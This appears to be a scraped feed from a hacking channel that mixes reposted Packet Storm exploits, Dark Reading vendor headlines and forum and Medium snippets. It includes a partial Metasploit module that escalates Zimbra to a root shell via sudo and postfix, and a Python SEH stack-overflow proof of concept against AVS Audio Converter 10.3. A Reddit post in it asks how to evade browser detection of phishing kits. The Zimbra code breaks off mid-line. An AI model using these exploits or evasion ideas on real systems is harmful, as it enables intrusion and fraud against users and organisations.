Exploit Collector
Fortinet FortiOS / FortiProxy / FortiSwitchManager Authentication Bypass

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Zimbra Privilege Escalation

https://4.bp.blogspot.com/-JipZY3hUF7s/WWlu7l1ccBI/AAAAAAAAIJc/HAISYb4KBsQdeIf6OzzYRuXiYaIkpQnmACLcBGAs/s1600/h110.png This Metasploit module exploits a vulnerable sudo configuration that permits the Zimbra user to execute postfix as root. In turn, postfix can execute arbitrary shellscripts, which means it can execute a root shell.

SHA-256 | 60ec0dcab5b58dbebac7ed6c99c5cf1fb52f76e5b1a5f3723089e823fc252948Download ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zimbra sudo + postfix privilege escalation',
'Description' => %q{
This module exploits a vulnerable sudo configuration that permits the
zimbra user to execute postfix as root. In turn, postfix can execute
arbitrary shellscripts, which means it can execute a root shell.
},
'License' => MSF_LICENSE,
'Author' => [
'EvergreenCartoons', # discovery and poc
'Ron Bowes', # Module
],
'DisclosureDate' => '2022-10-13',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => true,
'References' => [
[ 'CVE', '2022-3569' ],
[ 'URL', 'https://twitter.com/ldsopreload/status/1580539318879547392' ],
],
'Targets' => [
[ 'Auto', {} ],
],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ]
}
)
)
register_options [
OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', 'sudo' ]),
OptString.new('ZIMBRA_BASE', [ true, "Zimbra's installation directory", '/opt/zimbra' ]),
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('PayloadFilename', [ false, 'The name to use for the executable (default: ".Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
AVS Audio Converter 10.3 Stack Overflow

https://3.bp.blogspot.com/-w74A7gxi0bY/WWlvD06cX8I/AAAAAAAAIK4/fcu0jWNFLhIrvrv6B2He7QdGvtDQ7X4rQCLcBGAs/s1600/h131.png
AVS Audio Converter version 10.3 suffers from a stack overflow vulnerability.

SHA-256 | ec7347cd5f5d10a2cede7312e6e56ccaf9f1bf87ea591e7fb790a119da8b4db7

Download
# Exploit Title: AVS Audio Converter 10.3 - Stack Overflow (SEH)
# Discovered by: Yehia Elghaly - Mrvar0x
# Discovered Date: 2022-10-16
# Tested Version: 10.3.1.633
# Tested on OS: Windows 7 Professional x86

#pop+ret Address=005154E6
#Message= 0x005154e6 : pop ecx # pop ebp # ret 0x04 | startnull {PAGE_EXECUTE_READ} [AVSAudioConverter.exe]
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v10.3.1.633 (C:\Program Files\AVS4YOU\AVSAudioConverter\AVSAudioConverter.exe)

# The only module that has SafeSEH disabled.
# Base | Top | Rebase | SafeSEH | ASLR | NXCompat | OS Dll |
# 0x00400000 | 0x01003000 | False | False | False | False | False |

#Allocating 4-bytes for nSEH which should be placed directly before SEH which also takes up 4-bytes.

#Buffer = '\x41'* 260
#nSEH = '\x42'*4
#SEH = '\x43'*4
#ESI = 'D*44' # ESI Overwrite

#buffer = "A"*260 + [nSEH] + [SEH] + "D"*44
#buffer = "A"*260 + "B"*4 + "\xE6\x54\x51\x05" + "D"*44
# Rexploit:
# Generate the 'evil.txt' payload using python 2.7.x on Linux.
# Open the file 'evil.txt' Copy.
# Paste at'Output Folder and click 'Browse'.

#!/usr/bin/python -w

filename="evil.txt"

buffer = "A"*260 + "B"*4 + "C"*4 + "D"*44

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Zscaler Advances Enterprise Data Security With Zero-Configuration Data Protection

New data-protection innovations mitigate security risks by expediting deployment cycles and simplifying operational complexity.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Kaspersky Launches New VPN to Amplify Speed and Convenience

New version boosts VPN tunnel performance and lets users prioritize secure connection traffic for certain services.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
GroupSense Delivers New Ransomware Negotiation Training Service

Training service prepares ransomware response teams for successful threat actor engagement to mitigate damage, protect brand reputation, anticipate emerging threats, and more.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
DigiCert Appoints Industry Veteran Amit Sinha as Chief Executive Officer

Former Zscaler president to lead DigiCert's next stage of growth as the company accelerates its strategy, expands its product offering, and works to become the de facto standard for digital trust.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Revelstoke Teams Up With BreachRx, Offering Users Automated Incident Response and Compliance Solutions

New partnership gives security analysts simplicity when sifting through data, thorough readouts of compliance options, and streamlined response to incidents.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
A New Solution to the Cybersecurity Skills Gap: Building Security into Operational Teams

Why — and how — companies should consider shifting day-to-day security responsibilities out to operations teams. The move would elevate the team's level of decision-making and help address the challenge of finding professionals with security-specific credentials.

hacking: security in practice
Has anyone noticed Chrome and Safari browsers being able to detect phishing pages with considerable more accuracy over the last 6-months?

Unfortunately, SET, Nextphisher, Socialphish, etc. are now all detected by webbrowsers. Has anyone had any luck getting around this?

submitted by /u/Key_Abbreviations971
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
GOT HACKINGGGGGGGG in this work

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Do You Really Need $1,000+ In Hacking Hardware?

https://cdn-images-1.medium.com/max/997/1*zcWbvZI2HEh2bdTnZwz1Ew.jpeg
TL;DR-Are all of those crazy hacking tools advertised as ‘simple all-in-ones’ actually worth buying?

Continue reading on The Gray Area »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Solidity Hackleme: Tamsayı Taşması ve Azalması

https://cdn-images-1.medium.com/max/600/0*XnRgAqSMwav8_419
Background

Continue reading on Sedesca Labs »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Executing Random Executables Can Get You In Trouble

https://cdn-images-1.medium.com/max/1440/1*LExXndJMFfPUePYI7sAU-w.png
What will happen to your OS when you execute random executables files?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
CVE-2022–42889: Text4Shell, Vulnerabilidad critica en Apache Commons Text

https://cdn-images-1.medium.com/max/1629/0*RCY2TtAixCwkATpV
Al igual que ocurrió en diciembre del año pasado con Log4Shell, aquella vulnerabilidad que afectaba a multitud de productos Java que…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video